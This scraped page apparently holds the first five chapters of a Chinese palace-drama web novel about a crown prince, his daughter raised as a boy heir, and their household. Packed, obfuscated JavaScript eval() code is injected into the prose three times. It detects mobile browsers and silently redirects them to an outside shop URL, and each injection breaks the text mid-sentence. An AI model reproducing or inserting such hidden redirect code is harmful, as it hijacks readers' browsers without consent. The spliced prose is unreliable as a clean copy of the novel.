《莲花去国一千年》 1. 楔子 那天,他像往常一样,在曲江池和长安的诗人们唱和作对、弹琵琶、钓鱼、赏花。到了下午,阳光温暖,惠风和畅,他和王妃杨妙闻又跑马去了郊野。 年轻的相王着一身藕荷色印花圆领衫,腰间系着浅绿色绦带,整个人看起来春意盎然,风吹在他脸上,将他双颊吹得微红,鬓边淌下汗珠,浸润了他的侧脸。王妃妙闻扬鞭纵马,飞快地跑在前面,风高高地扬起她帏帽上洁白的面纱,她的披帛在空中飞舞,绚烂如一道流霞…… 他们很久没有这么快活地玩耍过了,她回头朝他笑着,她喊他姊奴,喊他的小名,叫他快追上来。 杨妙闻是长安城最漂亮的姑娘,他们去年成婚,几乎全长安的人都涌了出来,挤在御街上、相王府外,他们欢呼雀跃,来看年轻的相王迎娶新妇,看相王牵着新妇的手,亲自将她从厌翟车的红锦帷帐中接了出来,而新妇却扇倾斜,露出一张盈盈含笑的芙蓉桃花面。 马蹄踏过草地,带起点点春泥,堤上海棠花风吹如雨,飘零的花瓣堕入水中,拂了半江还满,又随灞水而去。 大伴蒋明夷远远跑来,连声唤他,相王勒紧缰绳,抬袖揩净脸上汗水,笑容就和这春日一样明媚,他说:“怎么了?什么事这样着急?” “大王,不好了!陈大官派人来报,说东宫、东宫——” 蒋大伴扑通一声跪在了地上,他说:“大王,皇太子放火烧了东宫三大殿,陈大官说宅家气疯了,现在正要杀人呢,您、您快去看看吧!!” “……” 宫中妃嫔近侍、帝子皇孙皆称皇帝为“宅家”,意为“以天下为宅,四海为家”,与“陛下”意同。 他身上很热,汗水浸透春衫,妙闻还在远处不住地喊他,他听不清,谁的声音都听不太清。 晶莹的汗水顺着侧脸滚落,滴在了微微发颤的手背上,如玻璃般,一碰即碎,他张了张嘴,似乎想追问个中细节,但蒋明夷那方寸大乱的模样,想必是问不出什么来的。 他于是立刻打马向东宫奔去。 落花贴着他的面颊飞过,藏进他的衣袖,颠簸之中,又被散乱的马蹄踏入尘泥。 他自延兴门进城,上了朱雀大街,又从朱雀门进皇城,一直到承天门,沿路上,长安的百姓、各衙门的官 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382552|200205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 员纷纷驻足观望—— 他们看向太极宫上方吞没天地的黑烟,看向掩藏其中的一轮摇摇欲坠的白日。 东宫三大殿被火光彻底吞没。 滔天的烈火熊熊燃烧,发出狂风骤雨般的声响。 东宫外,相王下了马,扶墙而立,他看向那火,山一样的火。 他看向明德殿的方向,儿时记忆走马灯似的窜了出来…… 他小的时候就是在明德殿长大,在太子身边长大,皇太子亲自教他读书、习字、作画,带他去打马球,太子处理政务,他就在宫殿里寻宝藏,他在偏殿找到过母亲生前弹过的琵琶…… 而如今,如今…… 翻滚的热浪灌满了他的衣袖,他站在原地,双腿注了铅似的一动不能动,泪水不住地从眼眶流出。 东宫正殿横贯的一条大梁塌了,失去了支撑,大殿的庑顶整个坠了下来,迸射出烟花一般的火焰,激起滚滚浓烟,大地在颤抖、在哀鸣,人们跌的跌、倒的倒、爬起来的四散而逃,一时间尖叫声、呼喊声、救火声、哭嚎声漫天遍地。 他的噩梦,也是从那天开始的。 2. 禁庭春昼(一) 永兴十四年,春三月。 长安天气回暖,东雩别院翠竹青青,柳树将将冒了芽,朱红色的宫墙上,一树海棠花枝压了过来,遮住了小半扇飞檐,淡粉的花苞点缀其上,观之温润可爱。 傍晚,李息宁和养母林娘子一起用了膳,之后便回房中看书,直到夜色渐深。大伴蒋明夷揣着拂尘进来,在她身边压低嗓子悄悄说:“大王,后门有马车声,应该是郎君回来了。” 李息宁“嗯”了一声,眨了眨酸困的眼,把书本合上,妥帖地放到一旁,说:“我知道了,多谢伴伴。” 李息宁是皇太子独女。 十五年前东宫失火,明德、崇政和立政三座大殿在那场火灾中彻底烧毁,横梁倒塌,废弃至今。皇帝曾说要重修东宫,却因种种原因搁置下来,最后只在西内匀出两座大殿,皇太子虽领了情,但还是自掏腰包翻了翻曾经住过的相王府,并换了一个崭新的名字—— 东雩别院。 浴乎沂,风乎舞雩,咏而归。 曾点说:暮春三月,春天的衣服都置办妥当了,我陪同五六个大人,六七个小孩,在沂水边上洗洗澡,在舞雩台上吹吹风,然后唱着歌回家。 多么惬意的生活! 李息宁很喜欢这个名字。 她在学堂和小伙伴们炫耀,说自己家的匾额是曾点写的。他们听了哈哈大笑,说——少吹牛啦!曾点都已经死了一千多年了,怎么可能去写你家的匾额?你家匾额是你爹自己写的! 回到家,她去向父亲求证,皇太子把她抱在怀里,他很有耐心,听她絮絮叨叨地讲在学堂里发生的事,听罢点点头,笑着说:“对啊,就是我写的。” 他还很疑惑:“为什么你会觉得是曾点写的?” 李息宁说:“爹爹不懂!” 然后她便不说话了,赖在太子怀里,享受他身上的温暖。养母坐在他们身边,像往常一样检查李息宁的课业,说来也可笑,她那时候都已经七八岁了,算是个大孩子了,写作业竟然还要爹爹娘娘陪着才行。林娘子嘴角带笑,头也不抬,便不留情面地揭穿了她内心的想法:“她呀,无非是觉得曾子的名气比郎君你大,说出去更有面子罢了!” 皇太子听罢,低头去用脸颊去贴她的脑袋,她梳着垂髫,头顶上只有很小一撮黄毛,新长出来的头发毛茸茸的,蹭的太子有些发痒,他搂着自己的女儿,脸上带着纵容又溺爱的笑,他说:“哦?是这样吗?是这样吗?” “才不是!”李息宁说:“爹爹写得也很好,我也很喜欢!” 她在皇太子和养母林良娣的爱护下长大,直到十岁那年,皇帝册封她为永宁郡王,她才迟钝地意识到—— 哦。 原来自己是被当成男孩养大的。 不过也不奇怪,毕竟太子除了她之外,也没有其他孩子了。 而她家,是真的有皇位要继承! 皇太子李守节,字怀贞。他这个人,既不怀贞,也不守节。 他时常大醉而归,长安城和李守节喝过酒的人都知道,这位皇太子殿下是出了名的惧内,一般不在外面过夜,总得赶在宵禁前偷偷摸摸回家,并且从不走正门。 于是,这天晚上,蒋大伴给李息宁通风报信后,李息宁就早早在后门堵她爹。 夜色中,东雩别院内墙边上一排海棠树开得正好,高大耸立,春夜的风轻柔而缓慢,一张手似的,在树丛中细细拂过,播撒下满地潮湿的花雨。 马车停下,有人在说话,只不过隔着门板,声音听不真切。 李息宁用眼神示意蒋明夷去开门。 门向内打开,说话声戛然而止。 “更深露重的,还劳烦贵人亲自来开门。”来人见是蒋明夷,讲话很委婉。 “这讲的哪里话……” 蒋明夷估计也是想客气客气,但刚一张嘴,声音就哑在了喉咙里,轻轻“啧”了一声:“……哎哟,我的天,怎么喝成这样了?” 车帘掀开,一阵混着名贵熏香的酒气扑面而来。 皇太子被人搀着,显然已经站不稳了,轻盈透亮的月光下,他的脸颊泛着一层薄薄的酡红,眉头将蹙未蹙,微阖的眼睫轻颤,似乎很是难受。扶着他的人一身锦衣,该是哪位名门贵客,与他搀扶在一起,将他连搂带抱着送下马车。 蒋明夷仓促地向后瞥了一眼,果然,李息宁的脸色已经大有不妙。 也是,大半夜的,见自己亲爹这样回家,任谁也会不高兴。 他忙手中杂物放在地上,腾出手搀扶,焦心地唤着:“哎呀,郎君、郎君——” 那贵客硬是没让蒋明夷插手,笑着说:“我来吧我来吧,醉成这个样,别一会再将他摔着了!” 蒋明夷汗如雨下,连连向人使眼色,那人却没领会到个中含义,贴近太子的耳朵轻声细语:“太子殿下,到了,到了——” 前脚刚迈进门槛,一抬眼,就看见永宁郡王铁青着一张脸,门神似的站着,不知道已经盯着他们看了有多久了。 “……” 门房被蒋明夷撵到别处,此处墙壁下只有他们寥寥几人,显得略微空旷。 李息宁立在过道中间,着一身月白色的圆领袍,她站得很直,腰背挺立,质地细腻的面料上绣着的缠枝葡萄纹不见半分皱褶,明净的月光下,如芝兰玉树一般。 那锦袍男子僵在原地,眼里闪过尴尬无比的神色,腾出手对她行礼: “大王好。” 李息宁连头都没有点一下,她看向烂醉如泥的皇太子。 她问:“还醒着吗?” 这声音四平八稳,自带清贵,那人心里飞快地过了一句“太子殿下真是歹竹出好笋啊!”,也不敢多看一眼,只恭敬回话: “……想来是不大清醒了。” 李息宁的脸色虽然不是很好看,但也谈不上愠怒,迟了好久,她才说:“有劳足下。” 说罢,她越过蒋明夷,将李守节接到了自己怀里。 她今年十三岁,像她这样年纪,其实只算个半大孩子,李守节整个人压到她肩膀上来的时候,她的小腿不自主地往下沉了沉,好在李守节远比他看上去要清瘦,适应了之后并没有多少分量。大伴蒋明夷将门关上后,和她一起搀着。 李守节茫茫然在她的肩上靠了一会儿,兴许是觉得这根拐杖太矮了,令他有些难受,他忽然伸手抓住了息宁的袖子—— 李息宁立刻停下来。 “……爹爹?” 又是一阵风动。 这无香的花树很是恼人,海棠花瓣飘过,落了李息宁满头、满脸。 李守节扶着墙站在路旁,李息宁便跟着他一起歇了一会,她看他没有要走的意思,只皱着眉,似乎哪里有不舒服。 于是她说:“大伴,水拿来。” 蒋明夷“哎”了两声,取出水壶便要去喂水,又被李息宁拦下:“给我便是。” “诶,好……” 蒋明夷算是纳了大闷了,这小郡王今天晚上不知道是犯了什么轴,一点也不让蒋明夷粘手,连喂水都要自己去喂……这孝顺得也太过头了吧? 可郡王她从小衣来伸手,饭来张口,岂是个会伺候人的主?皇太子只喝了两口亲闺女喂的水,便被呛得咳嗽连连,捂着胸口低低喘气,李息宁忙抬袖去揩他的脸—— 李守节应该是被她给闹醒了,低头看她,两道目光猝然撞在一起。 他涣散的双瞳难得清明,问:“……你怎么跑到这里了?” 李息宁迅速将袖子掩在身后,装出若无其事的样子:“爹爹,这是我们家。” 李守节便左右看了看,似乎是想找出这里不是他家的证据,可又好像真的是他家,他“哦”了一声。 李息宁松了一口气。 他没有发现刚刚是自己喂水呛了他。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她看着他在离自己不远处停下,停在一棵海棠树下,他伸出手臂,织满金线的袖子长长地拂过海棠花树,拂过那些颤抖的枝桠,洒下一地如雨的花蕊,乱红零零落落地飞向她,携来一阵父亲身上的香气、她从小闻到大的香气。 她站在他身后,静静地看着。大伴蒋明夷一步一个“哎呦”地跟着,生怕他摔着了。 她或许再不会忘记这个夜晚。 就像她不会忘记,儿时在他怀里,伸手去抓他头发时,那种名贵香料焚烧过后残存下来的气味,与乌香、檀香混在一起,甜蜜又令人沉醉。 她想:爹爹会变成蝴蝶飞走吗? “李守节!” 一道沉着的女声划破沉静的夜,李息宁的思绪骤然回笼。 是娘。她来了。 养母估计是被李守节这死动静给闹着了,她平常是一个早睡的人,此时合衣站在边门当中,表情愤怒地看着酩酊大醉的丈夫。她说:“你原知道回来?我当宅家留你过夜了呢,你怎不在外面再置一套宅子?!” 李守节站定,看着她,风来,将他的广袖吹开,藏在他袖中的浅红色花瓣漏了出来,一片片、一瓣瓣、缓慢地坠到了地上,又被风卷走,卷到李息宁的脚边。 “娘子,我……” 他应该是想认个错的,正如外界传言,他很尊重林娘子,甚至都有些怕她,他走到她身边,去握她的手,去抓她的披帛,被她躲开,他便捉了个空,他说:“我……” 他没我出个什么,便闷头栽进了林娘子怀中。 林娘子将他接了个满怀,对蒋明夷说: “郎君醉了,你去,将东西拿到我房里来。” 3. 禁庭春昼(二) 林娘子气力不是很大,作为深闺女子,搀着李守节明显吃力,蒋明夷几次上前想要搭把手,都被她挥退了下去。 李守节醉得完全没有意识,刚刚短暂清醒了阵,现在也不知道是害怕被骂装的还是怎么,完全赖在了林娘子的怀里。 东雩别院毕竟是皇太子府邸,虽比不得旧东宫,但也是合了坊中好几座宅子才建成的,占地很大,单从后门到林良娣的住处,就要走上好久,林良娣应该是不愿让其他人看笑话,一刻未停地扶着他回了房间。 李守节的酒意又上来了,他不知道喝了什么,离了林娘子的怀抱后,竟然有些发抖,林娘子将他放倒在床上,让蒋明夷去脱他的靴子,也不知硌到了哪里,他闷闷地哼了一声,强撑着坐了起来。他向林娘子伸手,林娘子便将他的手握在手里,他的手是那样的冷,回暖的春天,林娘子觉得自己摸着一块寒冰,他向自己身上贴,林娘子也不再躲他,大大方方由他抱住。 他说:“娘子,我……” 他说了未完的话,他说:“我冷。” 林娘子厉声对蒋明夷说:“还不去给郎君将锦被盖上?” 蒋明夷也是怕她,立即滚上床去拿被子,李守节抱着她的腰,胡乱地说:“让他下去,让他下去,我不要被子,我——” “那你想要什么?”林娘子语气冷淡。 “你。” 李守节又开始发抖,他紧紧贴着她的腰腹,耳朵红了一半,顺着耳根向下,连着脖颈都是红的,红的鲜艳,红得要滴血,他的嘴唇湿润,似乎还沾着水,他像一只大猫一样在林良娣身上拱、在她身上蹭,那些香气四散开来,弥漫到整个房间。 林良娣按着他的肩膀,纤细的手指拨弄他的发丝,她的声音清凉如泉,带着不属于这个季节的寒冽: “你带着一身秽物回来,却说想要我吗?” …… …… “娘子,我错了。” 他的手松了,讨好似的张嘴,用牙齿去咬林良娣的腰带,林良娣拨开他的脸,他趁机吻上她的腕子,滚热的呼吸喷在她雪白的肌肤上,令她一阵寒战,而李守节盈盈含着笑,仰头去看她,试图从她的表情中读出一些纵容与默许。 可林娘子没有说话。 也没有表情。 这些年,她很多次俯视自己的丈夫,就像现在这样。 不知从什么时候起,他竟然变成了讨好他人的那一方。 这是应该的吗? 他什么都不缺,什么都有,他可是皇太子啊,有什么必要去讨好别人呢? 这些年,她从杨氏的手中接过这个家,接过他们的女儿,接过他,外界始终都有不好的声音,他的风流传闻传遍了长安城的大街小巷,她已经听得不能再听,甚至现在,恐怕连女儿都已经知道了…… 她应该生气才对。 但很可惜,她连和他生气的力气都没有了。 林良娣接过蒋明夷递来的龙脑香膏,用指尖蒯出一小块,在指腹上揉匀,再去他的太阳穴两侧轻点。他被冰得一颤,但很快整个人清明了不少,也不发抖了,他长喘着气,抱着林良娣。 他的冠子不知道什么时候被摘去的,乌黑柔润的长发披了满背,又打着旋铺在了床上,他一点点地蹙眉,又慢慢展开。 他说:“……我想去洗澡了。” 良娣说:“是该洗洗。”又说:“以后少喝些。让孩子看见了像什么?你还有没有做爹爹的样?” 他点了两下脑袋。 …… 李息宁晚上做了一个关于海棠花的梦。 梦里的内容她不大记得了,一夜过后,阁子里空气些许发闷,憋得她在床上歪来歪去,她出了满身的汗,一会将手伸出来,一会又将被子蹬开。 她赖在床上不想起,睁开眼躺着,想昨天夜里的事,想她的那场已经被遗忘的梦,想着父亲身上的香气,如雨的花,清凉的月。 …… 院外有声音。 乱糟糟的,似乎是蒋明夷在跟什么人说话。 蒋明夷曾经照顾过李守节,现在又做了李息宁的大伴,李息宁跟他很亲,她知道自己小时候是被李守节、林若华和蒋明夷三个人轮流抱着长大的,把他当长辈一般。 “伴伴?你在跟谁说话呢?”她问,嗓子有点干哑,她想喝水了。 “啊,没、没谁,哎——!” 蒋明夷声音一起一落,李息宁几乎都已经想象到他拿着拂尘挥来挥去的样了:“二公子、不是,你,你快走啊!” 院里的海棠似乎又遭了折腾,一番声响后,不知是折了哪根枝子,断裂的一声咔嚓,清脆到令人生疼。 “谁在外面?” 李息宁一听这动静,立刻从床上跳了下来,她胡乱从地上找出鞋踩到脚上,两三步冲出了房门:“大伴,你在跟谁说话?!” 朝霞初升,屋檐阶上未干的水痕星星点点泛着碎光,不留神晃了她的眼。 她心里疑惑:昨夜是又下雨了吗? 白璧丹楹上,海棠树枝压得很低,她逆着阳光去看,竟然有些睁不开眼,她抬起袖子去遮,发现自己只穿了一件薄薄的春衫,头发也没有束,完全披散在脑后,一副不得体的打扮。 她没睡醒似的左右瞧了瞧,蒋明夷脸都皱在一起了,连着“哎呀”了好几声,一口一个“祖宗”地朝她扑过去,生怕被人看出来什么,大鹏展翅般将她护在身后,声音却是对别人说的: “你瞧什么?!把头转过去!不许看!!!” 李息宁扒拉他的手臂,问:“谁在那儿?” “哎呀呀,你、你先进去,一会儿我们再说……那个!你也是,你快下来吧!一会儿摔着你了!!” 李息宁低了低身子,顺着他腋下看去—— 海棠树上似乎有个人影子在。 她再一瞧,那人是半蹲在树枝上,姿势很稳,很是矫健——她这院子挨着街,猜不错的话,这人应该是刚刚从街里翻进来,被蒋明夷发现了,正在驱赶。 李息宁想到这里,顿时气不打一处来。 这青天白日的,总不至于是刺客…… 那一定是她爹在外头的人了!! 可恨!竟敢找到家里来!! 李息宁将蒋明夷从自己面前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“奇怪,舅舅家里怎么会有个姑娘在?” 李息宁倏然睁大了眼。 她的心怦怦乱跳,竭力抑制心中慌乱,维持着表面镇定。 她心想:糟了,蒋明夷拦着她是对的,她就不该出来的,谁知道会是这个人,谁知道! 她以为只是个普通的蟊贼呢! 就在李息宁心想要不干脆带他去找李守节,让李守节想办法吧的时候,他说话了: “你……” 他的声音明快,笑着观察李息宁的脸,语气轻挑: “你是他新选的小娘子吗?” 李息宁:“?” ……谁? 谁的什么? 方才堵在心里的一口气倏地散了,现在,她有点想骂他八辈祖宗。 但转念一想,他们之间牵扯的亲戚太多,他的八辈祖宗也是自己的八辈祖宗,骂他的话,多少也会骂到自己头上来,实在得不偿失。 可他竟然还在说个不停: “你怎么不说话了?” “不是说要拿了我去报官吗?” “怎么会有脾气这样坏的小娘子,你这样大的脾气,是怎么被舅舅留在身边的?” 李息宁:…… …… …… 我怎么被他留在身边? 我是他生的! 4. 禁庭春昼(三) 晨光透过栅窗,洒下一地金斑,李守节昏昏沉沉地睁开眼。 他忘了昨晚的事,只记得杯盏交错,一直到坊门大关…… 醉酒后的余韵很难消受,他侧过身,想要叫人进来给他按一按额角,但刚睁开眼,就发现自己的床边趴了一个脑袋。 李守节:“……” 那小少年看他醒了,立刻喜笑颜开:“舅舅!” 李守节下意识环顾四周,确认了是自己的房间:“你是怎么进来的?” “我……”他不好说自己是翻墙头进来的,顿了顿:“我走进来的啊。” “跟你爹娘说过了?” “呃,嗯……” 李守节一听就知道他在撒谎:“宅家的敕牒呢?你爹娘的鱼符呢?拿来我看看。” 东雩别院是皇太子私宅,其门禁之制,严于城防,即便是登记在册的亲近常客,出入别院也需遵循通报流程、出示信物,像这样不打招呼进来的,最起码徒刑二年,翻墙头的,处以绞刑。 李宝宁出门的时候没打招呼,自然是什么都拿不出来,于是腆着一张脸开始撒娇: “舅舅,我这不是想你嘛,天气这么好,我们出去玩吧!我爹说下午要带我去昆明池跑马!我们一起吧?” 李守节被他吵得头痛,抬手指了指外面:“给我倒杯水。” 宝宁倒是听话,乖乖地就去了,外面候着的内侍重新进来,端了温热的醒酒汤奉上。 李守节坐起来浅啜两口,头痛稍缓,才抬手示意内侍伺候穿衣。宝宁就安安静静站在一旁,一双眼睛亮晶晶地瞧他,半点儿不觉得自己多余。 他是范阳公主与赵王的儿子,在家中行二,宝宁这个名字,还是李守节给他取的,算是个小名。 那时候李息宁还小,身边离不了人,稍不留神她是女孩的事就会败露,于是为了掩人耳目,需要见人的时候,李守节就把宝宁给带上——这两个孩子相差不到一岁,又是表兄妹,根本看不出什么破绽,就这样,他一直住在东雩别院,直到四五岁了,李守节才把他还给了公主与赵王。 送他回家的那天,他哭得可伤心了。 李守节简单将衣服穿好,选了一件月白色团领襕袍,他平常不爱穿这颜色,太素,可又好像见人在什么地方穿过,觉得顺眼。 他今天没什么要务,也不打算去哪里,只以一根玉簪束住长发,转头看向李宝宁,唇角勾起一抹玩味的笑,慢悠悠开口: “跑马?” “对呀!”宝宁立刻来了精神:“我和我娘这次从瀚北海回来,带了好多宝马良驹,我专门挑了一匹,可好看了,你要不要看一眼?” 李守节心底暗笑——他做了十三年的皇太子,各地藩国献上来的贡物,向来是由着他先挑,余下才轮到旁人,他什么样的宝马良驹没见过?反倒被这孩子小瞧了。 他说:“宝宁,你才回长安几日,就到处乱跑,竟还敢闯到我这里来?这是什么地方,你心里不清楚?还以为自己是小孩子吗?这事让你娘知道,她将你屁股打开花都算是轻的,还说什么要去骑马,回家好好养两天再出门吧!” 宝宁抓住他的手臂晃了晃:“舅舅,我好不容易回来一次,你不告诉我娘不就行了嘛,你、你给我写个帖子,我拿着回家,我娘绝对不问的——” 李守节听了直笑,故意逗他:“我庇着你有什么好处?你自求多福吧。” “舅舅呀……” 宝宁见他油盐不进,索性一屁股坐在地上:“哼,那我不走了,我倒要看看谁能来这里捉我!” “你这顽童。” 李守节颇为无奈,说着,院外忽然传来“咔嚓”一声闷响,紧接着是木料倒地的轰鸣,他抬头向屋外看去:“……什么声音?” 内侍面色犹豫:“回郎君的话,外面……在砍树。” “砍树?” 他眯着眼,转头瞥了眼坐在地上的李宝宁,随口问道:“砍什么树?” “就是后院那几棵海棠树——” “什么?!” 李宝宁听了大喊,他原地站了起来,一双眼睛睁得溜圆:“什么?谁把树砍了?砍了树我一会儿怎么出去啊!” 李守节皱眉:“谁让你翻墙进来的?在瀚北海野了这么些年,眼里是半点儿王法都没有了?” 不过,看李宝宁那慌了神的模样,想必也是知道后果的。 宝宁抓着他的胳膊,十分委屈:“舅舅,不能全砍了,给我留一棵,不能全砍了,你又不给我写帖子,回去我娘真得揍我了——!” 李守节本来就宿醉难受,精神不济,一大早又是被闹醒,院里又是敲锣打鼓,完全不让人安生,偏偏他又对这些孩子没脾气,说:“好了,先别吵了,待我问问。” 宝宁点点头,满眼期待地看向他。 李守节有些疲累,他慵懒地倚在圈椅上,抬手把刚刚那名内侍召到身前:“好端端的,怎么想起来砍树了?娘子呢?这事她知道吗?” “娘子一大早就和定国夫人去兴善寺了,没说要回来。” 哦。 估计要回娘家了。 李守节又问:“那大王呢?她知道吗?” 他这人从不管家,这些年一般有事只问两句话:娘子知道吗?大王知道吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382555|200205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她们都知道了,那你还问我干啥?该干嘛干嘛去吧。 “就是大王吩咐大家去砍的。” “……” 李守节不再说话了,他看起来头更疼了。 宝宁在旁边观察他的脸色,阳光穿窗而过,打在他身侧,照的他整个人金光灿灿的,恍若一尊金身塑像。李宝宁的心怦怦乱跳,他想:难道刚刚见到的那个小娘子,不是李守节的侍妾,而是…… 永宁郡王的? 怪不得,郡王气得要把树砍了呢,一准是她去告状了! 糟了,糟了糟了。 舅舅侍妾众多,又从来不管后院的事,他胡闹也就随他去了,只是,只是舅舅从来对他表弟的事情格外上心,要是让他知道了…… 那就真完蛋了! 不过,舅舅这么快就给他选好了人吗? 就在他想着要不要提前认错,承认都是误会的时候,外头又有人通告,说是赵王到了,此时正在大门口等着。 皇太子“嗯”了一声,抬了抬眼:“请他进来吧。” 来人说:“赵王说,他不进来了,他是来、是来接……”那人目光转向李宝宁。 宝宁:“……” 李守节便不再多说什么。 “拿纸笔来。” 那人便将笔墨纸砚系数奉上,陈列在李守节面前。李守节屈起两指,在宝宁脑袋上轻轻一弹,方才消失的笑意又很快浮了出来,他说:“我且今天再卖你个人情,记住了,日后要还的。” “舅舅真好!” 宝宁扑进他的怀里,他本来坐得好好的,被他这么一拱,后腰撞在椅背上,疼得他“哎哟”了一声,腾出胳膊在宝宁头顶拍了两下:“快起开,你知不知道你是多大的孩子了?”宝宁还是没皮没脸,李守节说:“你再闹我不给你写了。” 宝宁重新坐好。 李守节给他写好帖子,封好,递到了他手中,说:“拿去吧。” 宝宁开开心心揣进怀里,出门的时候回头望了一眼:“舅舅记得,下午要去跑马!” “再说。” 他挥挥手,示意他快去吧。 侍者领着宝宁出门,他心想,府上的帖子那么多,拿出来一份就是了,郎君怎么还要亲自写? 不过他也不敢太去揣测太子的想法。太子是主家,主家怎么吩咐,他就怎么做是了,横竖都是拿那点钱,多一事不如少一事。 就像今天,永宁郡王说要砍树一样。 李宝宁走后,太子又在屋里坐了片刻,他想了半天,也想不出李息宁到底和树能有什么过节,于是决定自己去看。 5. 禁庭春昼(四) 他走出房间,空气里满是草木的湿润与清甜,驱散了酒气带来的滞涩,越往后院去,砍树的声响越发清晰。 李守节沿着回廊缓步前行,行至转角处,他停下脚步,抬眼望去—— 庭院东侧,几名身着青色短打的匠人正握着斧头,围着一棵海棠树忙活。再向下看,地上已然整整齐齐躺了一排被斫倒的树干,枝叶、花瓣落了满地。 而不远处的廊下,李息宁搬了把红木绳床,斜斜惬在上面,手中捧着一本书,好不自在。 “咔嚓——” 又是一声脆响,海棠树的主枝终于不堪重负,轰然倒地,扬起一阵细碎的尘土。蒋明夷上前,指挥匠人清理断枝。 “你不喜欢这些树吗?” 李守节不知道什么时候站到了她身后,居高临下看着她。 息宁闻声并未起身,手中的书轻飘飘地翻了一页:“他去找过你了?” “听说你要报官?” 一路上,他已经听人将事情讲了个七七八八,此时有些想笑:“这里还有比你阿耶更大的官吗?怎么不派人来找我?” 李息宁:“……” 她早已不唤李守节为“阿耶”了。 奶声奶气的称呼,都是小孩子才会叫的。 她是皇祖父册封的永宁郡王,要撑起东宫的台面,要像个真正的大人一样站得住、立得稳,怎还能像吃奶孩子一样一口一个“耶耶”? 廊下微风拂过,可惜海棠无香。 李息宁嘴角抿成一条平直的线,脸上没什么表情,仿佛方才那声称呼与她无关:“说了又有什么用?爹爹不管家,府中大事小事都是娘在管,阿娘今日出门早,这事又恰巧让我撞见了,自然是要报官。” 李守节越品越觉得这话不是个味,似乎在点自己,倒像是他做了什么见不得人的事似的:“因为这事还要闹到衙门去,多少有些不值当了,也不怕旁人笑话。” 李息宁眼也不抬:“我们家让人笑话的事,也不差这一件了。” 李守节:“……” 放在别人家,子女是绝不敢这样对父母说话的,这是很重的冒犯。说什么让外人见笑,岂不是在说李守节此人治家不当吗?——天下无不是的父母,子女怎可这样顶撞大人?这是不孝的,不符合纲常的。 可李守节听了,却并没有什么反应。 李息宁显然憋着一肚子火,他只是很纳闷,不知道宝宁到底是怎么惹着她了,竟然能这么大气性? 李守节故意说:“哦?既然这样,那好吧,走吧,我们不去衙门了,阿耶和你一起,我们直接进宫告御状去!” 李息宁不说话,垂着眼只是看书,也不知道看进去了几个字。 李守节见她哑然,伸手,要把书从她手中摘过来,略一欠身,未束的长发却先一步从肩上滑落,不偏不倚正落在书本的封装上,熏了一整夜的香也跟着扑面而来。 李息宁有的时候在想,怪不得皇祖父经常召爹爹入宫,皇太子本人哪怕不说话,只站在旁边,也会是个上好的人形香炉。 李息宁将书合起,轻轻将那一缕带着香气的长发挑离自己的面前:“不去了。” “怎么?” 李息宁“哼”了一声。 李守节被她这一声逗得笑了出来,他又问:“‘哼’是什么意思?” “……”李息宁自然知道他是在逗自己玩,他总是这样,也不怪旁人跟他没大没小,他自己就没把自己放在高处过,于是她低下声音,给他找了个台阶下:“就是看在爹爹的面子上,作罢了的意思。” 李守节长长地“哦”了一声,笑道:“那我的面子可真大。” 他的长发随着他的呼吸在空中微微晃动,李息宁不为所动:“我也不是存心针对谁,只是今天恰好是他翻进来了,我仔细想了想,还是有些后怕——万一哪天真有刺客闯进来怎么办?还是把树砍了为好。” “说的也是。” 李守节直起身子,蒋明夷很有眼力见地在他身后也放了一把倚子,他撩开衣摆坐下,父女二人并排坐着。 墙下的树又被砍倒了一棵。 李守节说:“我记得,这些树还是当年我刚开府的时候,你娘嫌这里空旷,拉着我一起种的……” “当时也没想到它们会长这么大,十几年过去,竟已亭亭如盖也。” 他双手交握放在腹部,目光直直地落在砍树的方向,神色淡然。 “……我娘?” 李息宁的思绪还停留在他那句“竟已亭亭如盖也”中未缓过神来,她知道,他说的人并不是林娘子,林娘子和李息宁一样,她们天生就不好这些,他说的人是…… 她的生身母亲,杨氏。 “蒋明夷。” 李息宁的眸子暗了暗,心中一阵五味杂陈:“……叫他们停下来,先别砍了。” 原来这些树,是母亲种的吗? 之前,从未有人跟她说过这些。 也从未有人在她面前提起过杨妙闻。 仿佛,她的名字、她的一切,都是这座东雩别院的禁忌。 小的时候,有很多次,她都抓住了养母的衣袖,想要问她关于自己亲生母亲的事——她是什么样的人?她是怎么不在的?她漂亮吗?她像林娘娘一样、像爹爹一样漂亮吗?她…… 她爱我吗? 那些大大小小的问题像是魔咒一样萦绕着她,填满她的整个童年。 她知道,她只要问出来,就一定会得到回答,可她终究是没能问出口,她太害怕了,害怕得到不好的答案,害怕伤林娘娘的心、伤爹爹的心。 而李守节却主动提起了她,像是提起一件无关紧要的事。 “无妨,都砍了吧,都砍了吧。” 李守节笑着说。 海棠树被砍倒了,以后也不会再长出来,属于这座别院的过去又死掉了一部分。 到了下午,李守节叫李息宁来房间。 